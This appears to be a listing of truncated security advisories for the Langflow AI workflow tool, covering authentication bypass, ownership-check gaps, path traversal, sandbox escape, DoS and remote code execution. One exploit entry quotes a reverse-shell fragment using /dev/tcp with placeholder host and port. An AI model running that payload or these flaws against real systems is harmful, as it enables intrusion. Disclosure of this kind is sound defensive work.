PT-2026-60839

Name of the Vulnerable Software and Affected Versions IBM Langflow OSS versions 1.0.0 through 1.10.0 Description Improper authentication in the '/api/v1/login/auto login' endpoint allows remote attackers to gain unauthorized administrative access. When the AUTO LOGIN configuration is enabled, whi...

PT-2026-60878

Name of the Vulnerable Software and Affected Versions IBM Langflow OSS versions 1.0.0 through 1.10.1 Description An authenticated attacker can exploit the SaveToFile component to read and modify files uploaded by other users by specifying absolute paths to victim storage locations. When using...

PT-2026-60867

Name of the Vulnerable Software and Affected Versions IBM Langflow OSS versions 1.0.0 through 1.10.0 Description Authenticated users can escalate their privileges to superuser by directly manipulating the database. This allows for the execution of arbitrary system commands, potentially leading to...

Exploit for Eval Injection in Langflow

CVE-2026-33017 - Langflow RCE Vulnerability xpl0ited by infr...

Security Bulletin: Langflow is affected by remote code execution, denial of service, path traversal, and exposed credentials due to multiple unauthenticated and insufficiently authorized API endpoints

Summary Langflow provides a visual interface for constructing and executing AI-powered agent workflows, exposing HTTP API endpoints for flow execution, file management, vector store operations, and Model Context Protocol MCP server configuration. An attacker could exploit insufficient validation...

Security Bulletin: Langflow is affected by remote code execution, denial of service, path traversal, and exposed credentials due to multiple unauthenticated and insufficiently authorized API endpoints

Summary Langflow provides a visual interface for constructing and executing AI-powered agent workflows, exposing HTTP API endpoints for flow execution, file management, vector store operations, and Model Context Protocol MCP server configuration. An attacker could exploit insufficient validation...

Security Bulletin: Python Interpreter Sandbox Bypass Leading to Sensitive Data Exposure

Summary The Python Interpreter component and legacy Python REPL Tool component provided flow and agent authors the ability to execute Python code within a scoped globals environment restricted to an operator-configured import allow-list and curated safe builtins. An attacker who could provide inp...

PYSEC-2026-2568 Langflow: Cleartext Storage of Authentication Settings in Project Creation Endpoint

A security vulnerability has been detected in langflow-ai langflow up to 1.8.3. The affected element is the function createproject/encryptauthsettings of the file src/backend/base/Langflow/api/v1/projects.py of the component Project Creation Endpoint. Such manipulation of the argument authsetting...

PYSEC-2026-2572 Langflow: DoS Through Lack of File Size Restriction via Deprecated Unauthenticated File Upload API

A security flaw has been discovered in langflow-ai langflow up to 1.1.0. This issue affects the function createuploadfile of the file src/backend/base/Langflow/api/v1/endpoints.py of the component API Endpoint. The manipulation results in unrestricted upload. It is possible to launch the attack...

PYSEC-2026-2565 Langflow has an Information Leak through Incomplete API Key Redaction

A weakness has been identified in langflow-ai langflow up to 1.8.3. Impacted is the function removeapikeys/hasapiterms of the file src/backend/base/langflow/api/utils/core.py of the component Flow Using API. This manipulation causes unprotected storage of credentials. The attack can be initiated...

PYSEC-2026-2569 Langflow vulnerable to injection

A vulnerability was detected in langflow-ai langflow up to 1.8.3. The impacted element is the function getclientip/installmcpconfig of the file src/backend/base/langflow/api/v1/mcpprojects.py of the component Model Context Protocol Configuration API. Performing a manipulation of the argument...

PYSEC-2026-2567 Langflow: Authenticated Users Can Read, Modify, and Delete Any Flow via Missing Ownership Check

Vulnerability IDOR in GET/PATCH/DELETE /api/v1/flow/flowid The readflow helper in src/backend/base/langflow/api/v1/flows.py branched on the AUTOLOGIN setting to decide whether to filter by userid. When AUTOLOGIN was False i.e., authentication was enabled, neither branch enforced an ownership chec...

PYSEC-2026-2571 Langflow Missing Authentication on Critical API Endpoints

Summary Multiple critical API endpoints in Langflow are missing authentication controls, allowing any unauthenticated user to access sensitive user conversation data, transaction histories, and perform destructive operations including message deletion. This affects endpoints handling personal dat...

Langflow < 1.0.19 DoS (CVE-2026-55446)

The version of Langflow installed on the remote host is prior to 1.0.19. It is, therefore, affected by a denial of service vulnerability: - An attacker can send a /api/v1/files/upload/ request without any authentication and abuse a very long multipart form boundary to make the Langflow applicatio...

Langflow < 1.9.2 Multiple Vulnerabilities

The version of Langflow installed on the remote host is prior to 1.9.2. It is, therefore, affected by multiple vulnerabilities: - The Shareable Playground feature enables execution of workflows by unauthenticated users. When the route /api/v1/buildpublictmp executes a flow, it allows providing...

Langflow < 1.9.0 Missing Authorization (CVE-2026-33760)

The version of Langflow installed on the remote host is prior to 1.9.0. It is, therefore, affected by a missing authorization vulnerability: - The /api/v1/monitor router exposes 7 endpoints that perform read, write, and delete operations on user-owned resources without verifying that the...

Security Bulletin: Broken Access Control Vulnerabilities in Langflow 1.0.0 - 1.8.4 File Handling API Allowed Unauthorized Access to User Files

Summary Two broken access control vulnerabilities in Langflow's file handling API allowed unauthorized access to user files. The first vulnerability CVE-TBD-1 in the GET /api/v1/files/images/flowid/filename endpoint lacked authentication requirements, allowing any unauthenticated attacker with...

CISA Adds 4 Actively Exploited Adobe, Joomla, and Langflow Flaws to KEV

The U.S. Cybersecurity and Infrastructure Security Agency CISA on Tuesday added four security flaws to its Known Exploited Vulnerabilities KEV catalog, citing evidence of active exploitation. The vulnerabilities are listed below - CVE-2026-48282 CVSS score: 10.0 - A path traversal vulnerability i...

Langflow 1.9.0 - RCE

Exploit Title: Langflow 1.9.0 - RCE Exploit Author: Diamorphine Vendor Homepage: https://www.langflow.org/ Software Link: https://www.langflow.org/desktop Version: & /dev/tcp/lhost/lport 0&1'"\n\nfrom lfx.custom.customcomponent.component import Component\nfrom lfx.io import Output\nfrom...

Langflow affected by Remote Code Execution via validate_code() exec()

Langflow execglobals Inclusion of Functionality from Untrusted Control Sphere Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow. Authentication is not required to exploit this vulnerability.The specific...